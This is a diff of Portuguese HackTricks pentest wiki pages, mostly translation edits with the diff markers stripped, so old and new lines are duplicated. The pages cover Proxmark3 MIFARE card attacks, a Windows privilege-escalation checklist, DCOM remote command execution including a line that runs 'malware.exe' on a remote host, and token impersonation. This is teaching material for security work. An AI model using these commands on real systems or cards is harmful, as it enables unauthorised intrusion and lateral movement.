Ele possui **16 setores**, cada um deles tem **4 blocos** e cada bloco contém **16B**. O UID está no setor 0 bloco 0 (e não pode ser alterado).\
Para acessar cada setor, você precisa de **2 chaves** (**A** e **B**) que estão armazenadas em **bloco 3 de cada setor** (trailer do setor). O trailer do setor também armazena os **bits de acesso** que dão as permissões de **leitura e escrita** em **cada bloco** usando as 2 chaves.\
Para acessar cada setor, você precisa de **2 chaves** (**A** e **B**) que estão armazenadas no **bloco 3 de cada setor** (trailer do setor). O trailer do setor também armazena os **bits de acesso** que dão as permissões de **leitura e escrita** em **cada bloco** usando as 2 chaves.\
2 chaves são úteis para dar permissões de leitura se você souber a primeira e de escrita se souber a segunda (por exemplo).
Vários ataques podem ser realizados
@ -52,7 +44,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
O Proxmark3 permite realizar outras ações, como **escutar** uma **comunicação de Tag para Leitor** para tentar encontrar dados sensíveis. Neste cartão, você poderia apenas capturar a comunicação e calcular a chave usada porque as **operações criptográficas utilizadas são fracas** e conhecendo o texto simples e o texto cifrado, você pode calculá-la (ferramenta `mfkey64`).
O Proxmark3 permite realizar outras ações, como **eavesdropping** em uma **comunicação de Tag para Leitor** para tentar encontrar dados sensíveis. Neste cartão, você poderia apenas espionar a comunicação e calcular a chave usada porque as **operações criptográficas utilizadas são fracas** e conhecendo o texto simples e o texto cifrado, você pode calculá-la (ferramenta `mfkey64`).
### Comandos Brutos
@ -76,24 +68,17 @@ proxmark3> script run mfkeys
```
Você pode criar um script para **fuzz tag readers**, então copiando os dados de um **valid card** apenas escreva um **Lua script** que **randomize** um ou mais **bytes** aleatórios e verifique se o **reader crashes** com qualquer iteração.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,4 +1,4 @@
# Checklist - Escalação de Privilégios Local no Windows
# Checklist - Elevação de Privilégios Local no Windows
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -6,7 +6,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Support HackTricks</summary>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,15 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### **Melhor ferramenta para procurar vetores de escalonamento de privilégios local no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Melhor ferramenta para procurar vetores de elevação de privilégios local no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Informações do Sistema](windows-local-privilege-escalation/#system-info)
@ -40,13 +32,13 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
### [Enumeração de Logs/AV](windows-local-privilege-escalation/#enumeration)
* [ ] Verificar [**Configurações de Auditoria**](windows-local-privilege-escalation/#audit-settings)e [**WEF**](windows-local-privilege-escalation/#wef)
* [ ] Verificar [**configurações de Auditoria**](windows-local-privilege-escalation/#audit-settings) e [**WEF**](windows-local-privilege-escalation/#wef)
* [ ] Verificar [**LAPS**](windows-local-privilege-escalation/#laps)
* [ ] Verificar se [**WDigest**](windows-local-privilege-escalation/#wdigest) está ativo
* [ ] [**Proteção LSA**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
* [ ] [**Credenciais em Cache**](windows-local-privilege-escalation/#cached-credentials)?
* [ ] Verificar se algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
* [ ] Verificar se algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
* [ ] [**Política do AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
* [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
* [ ] [**Privilégios do Usuário**](windows-local-privilege-escalation/#users-and-groups)
@ -56,7 +48,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* [ ] [**Sessões de Usuários**](windows-local-privilege-escalation/#logged-users-sessions)?
* [ ] Verificar [**pastas pessoais dos usuários**](windows-local-privilege-escalation/#home-folders) (acesso?)
* [ ] Verificar [**Política de Senhas**](windows-local-privilege-escalation/#password-policy)
* [ ] O que está [**dentro da Área de Transferência**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
* [ ] O que há [**dentro da Área de Transferência**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
### [Rede](windows-local-privilege-escalation/#network)
@ -75,18 +67,18 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* [ ] [Você pode **modificar algum serviço**?](windows-local-privilege-escalation/#permissions)
* [ ] [Você pode **modificar** o **binário** que é **executado** por algum **serviço**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [ ] [Você pode **modificar** o **registro** de algum **serviço**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* [ ] [Você pode tirar proveito de algum **caminho de binário de serviço não citado**?](windows-local-privilege-escalation/#unquoted-service-paths)
* [ ] [Você pode aproveitar algum **caminho de binário de serviço não citado**?](windows-local-privilege-escalation/#unquoted-service-paths)
### [**Aplicações**](windows-local-privilege-escalation/#applications)
* [ ] **Permissões de escrita em aplicações instaladas** [**](windows-local-privilege-escalation/#write-permissions)
* [ ] **Permissões de escrita** [**em aplicações instaladas**](windows-local-privilege-escalation/#write-permissions)
* [ ] [**Aplicações de Inicialização**](windows-local-privilege-escalation/#run-at-startup)
* [ ] **Drivers Vulneráveis** [**](windows-local-privilege-escalation/#drivers)
* [ ] **Drivers Vulneráveis** [**Drivers**](windows-local-privilege-escalation/#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
* [ ] Você pode **escrever em alguma pasta dentro do PATH**?
* [ ] Existe algum binário de serviço conhecido que **tente carregar alguma DLL não existente**?
* [ ] Existe algum binário de serviço conhecido que **tente carregar alguma DLL inexistente**?
* [ ] Você pode **escrever** em alguma **pasta de binários**?
### [Rede](windows-local-privilege-escalation/#network)
@ -98,11 +90,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* [ ] Credenciais do [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)
* [ ] Credenciais do [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que você poderia usar?
* [ ] Credenciais [**DPAPI**](windows-local-privilege-escalation/#dpapi) interessantes?
* [ ] Senhas de redes [**Wifi salvas**](windows-local-privilege-escalation/#wifi)?
* [ ] Informações interessantes sobre [**credenciais DPAPI**](windows-local-privilege-escalation/#dpapi)?
* [ ] Senhas de [**redes Wifi salvas**](windows-local-privilege-escalation/#wifi)?
* [ ] Informações interessantes em [**Conexões RDP salvas**](windows-local-privilege-escalation/#saved-rdp-connections)?
* [ ] Senhas em [**comandos executados recentemente**](windows-local-privilege-escalation/#recently-run-commands)?
* [ ] Senhas do [**Gerenciador de Credenciais de Área de Trabalho Remota**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
* [ ] Senhas do [**Gerenciador de Credenciais do Desktop Remoto**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
* [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/#appcmd-exe)? Credenciais?
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Carregamento lateral de DLL?
@ -118,7 +110,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* [ ] Senha no [**arquivo de configuração do IIS Web**](windows-local-privilege-escalation/#iis-web-config)?
* [ ] Informações interessantes em [**logs da web**](windows-local-privilege-escalation/#logs)?
* [ ] Você quer [**pedir credenciais**](windows-local-privilege-escalation/#ask-for-credentials) ao usuário?
* [ ] Arquivos interessantes [**dentro da Lixeira**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
* [ ] Informações interessantes sobre [**arquivos dentro da Lixeira**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
* [ ] Outros [**registros contendo credenciais**](windows-local-privilege-escalation/#inside-the-registry)?
* [ ] Dentro dos [**dados do Navegador**](windows-local-privilege-escalation/#browsers-history) (dbs, histórico, favoritos, ...)?
* [ ] [**Busca genérica de senhas**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) em arquivos e registro
@ -132,19 +124,13 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* [ ] Verifique se você pode abusar disso
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,45 +1,37 @@
# DCOM Exec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## MMC20.Application
**Para mais informações sobre esta técnica, consulte o post original em [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
**Para mais informações sobre esta técnica, confira o post original em [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Objetos do Modelo de Objeto Componente Distribuído (DCOM) apresentam uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para o Modelo de Objeto Componente (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser recuperada usando o comando PowerShell:
Objetos do Modelo de Objeto Componente Distribuído (DCOM) apresentam uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para Modelo de Objeto Componente (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser recuperada usando o comando PowerShell:
```bash
Get-CimInstance Win32_DCOMApplication
```
O objeto COM, [Classe de Aplicação MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite a automação das operações de snap-in do MMC. Notavelmente, este objeto contém um método `ExecuteShellCommand` sob `Document.ActiveView`. Mais informações sobre este método podem ser encontradas [aqui](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Verifique sua execução:
Este recurso facilita a execução de comandos através de uma rede por meio de uma aplicação DCOM. Para interagir com DCOM remotamente como um administrador, o PowerShell pode ser utilizado da seguinte forma:
Esse recurso facilita a execução de comandos através de uma rede por meio de uma aplicação DCOM. Para interagir com DCOM remotamente como um administrador, o PowerShell pode ser utilizado da seguinte forma:
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
Este comando conecta-se ao aplicativo DCOM e retorna uma instância do objeto COM. O método ExecuteShellCommand pode então ser invocado para executar um processo no host remoto. O processo envolve os seguintes passos:
Verificar métodos:
Check methods:
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
@ -120,23 +112,17 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,33 +1,20 @@
# Access Tokens
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O objetivo principal do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Access Tokens
@ -83,12 +70,12 @@ or usando _Process Explorer_ da Sysinternals (selecione o processo e acesse a ab
### Administrador local
Quando um administrador local faz login, **dois tokens de acesso são criados**: Um com direitos de administrador e outro com direitos normais. **Por padrão**, quando esse usuário executa um processo, o que possui **direitos regulares** (não-administrador) **é usado**. Quando esse usuário tenta **executar** qualquer coisa **como administrador** ("Executar como Administrador", por exemplo), o **UAC** será usado para pedir permissão.\
Quando um administrador local faz login, **dois tokens de acesso são criados**: Um com direitos de administrador e outro com direitos normais. **Por padrão**, quando esse usuário executa um processo, o que possui **direitos regulares** (não-administrador) **é utilizado**. Quando esse usuário tenta **executar** qualquer coisa **como administrador** ("Executar como Administrador", por exemplo), o **UAC** será utilizado para pedir permissão.\
Se você quiser [**saber mais sobre o UAC, leia esta página**](../authentication-credentials-uac-and-efs/#uac)**.**
### Impersonação de credenciais de usuário
Se você tiver **credenciais válidas de qualquer outro usuário**, pode **criar** uma **nova sessão de logon** com essas credenciais:
Se você tiver **credenciais válidas de qualquer outro usuário**, você pode **criar** uma **nova sessão de logon** com essas credenciais:
```
runas /user:domain\username cmd.exe
```
@ -128,17 +115,6 @@ Dê uma olhada em [**todos os possíveis privilégios de token e algumas defini
Saiba mais sobre tokens nestes tutoriais: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) e [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar seu motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -150,7 +126,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,28 +15,14 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Níveis de Integridade
No Windows Vista e versões posteriores, todos os itens protegidos vêm com uma etiqueta de **nível de integridade**. Essa configuração atribui principalmente um nível de integridade "médio" a arquivos e chaves de registro, exceto para certas pastas e arquivos que o Internet Explorer 7 pode gravar em um nível de integridade baixo. O comportamento padrão é que processos iniciados por usuários padrão tenham um nível de integridade médio, enquanto serviços normalmente operam em um nível de integridade do sistema. Um rótulo de alta integridade protege o diretório raiz.
No Windows Vista e versões posteriores, todos os itens protegidos vêm com uma etiqueta de **nível de integridade**. Essa configuração atribui principalmente um nível de integridade "médio" a arquivos e chaves de registro, exceto por certas pastas e arquivos que o Internet Explorer 7 pode gravar em um nível de integridade baixo. O comportamento padrão é que processos iniciados por usuários padrão tenham um nível de integridade médio, enquanto serviços normalmente operam em um nível de integridade do sistema. Um rótulo de alta integridade protege o diretório raiz.
Uma regra chave é que objetos não podem ser modificados por processos com um nível de integridade inferior ao nível do objeto. Os níveis de integridade são:
* **Não confiável**: Este nível é para processos com logins anônimos. %%%Exemplo: Chrome%%%
* **Baixo**: Principalmente para interações na internet, especialmente no Modo Protegido do Internet Explorer, afetando arquivos e processos associados, e certas pastas como a **Pasta Temporária da Internet**. Processos de baixa integridade enfrentam restrições significativas, incluindo sem acesso para gravação no registro e acesso limitado para gravação no perfil do usuário.
* **Baixo**: Principalmente para interações na internet, especialmente no Modo Protegido do Internet Explorer, afetando arquivos e processos associados, e certas pastas como a **Pasta Temporária da Internet**. Processos de baixa integridade enfrentam restrições significativas, incluindo sem acesso de gravação no registro e acesso limitado de gravação no perfil do usuário.
* **Médio**: O nível padrão para a maioria das atividades, atribuído a usuários padrão e objetos sem níveis de integridade específicos. Mesmo membros do grupo de Administradores operam neste nível por padrão.
* **Alto**: Reservado para administradores, permitindo que eles modifiquem objetos em níveis de integridade inferiores, incluindo aqueles no próprio nível alto.
* **Sistema**: O nível operacional mais alto para o kernel do Windows e serviços essenciais, fora do alcance mesmo para administradores, garantindo a proteção de funções vitais do sistema.
@ -89,7 +75,7 @@ C:\Users\Public\asd.txt
Access is denied.
```
{% hint style="info" %}
**Portanto, quando um arquivo tem um nível de integridade mínimo, para modificá-lo você precisa estar executando pelo menos nesse nível de integridade.**
**Portanto, quando um arquivo tem um nível mínimo de integridade, para modificá-lo você precisa estar executando pelo menos nesse nível de integridade.**
{% endhint %}
### Níveis de Integridade em Binários
@ -116,29 +102,18 @@ Nem todos os arquivos e pastas têm um nível mínimo de integridade, **mas todo
Devido às restrições comentadas nesta e na seção anterior, do ponto de vista de segurança, é sempre **recomendado executar um processo no nível de integridade mais baixo possível**.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
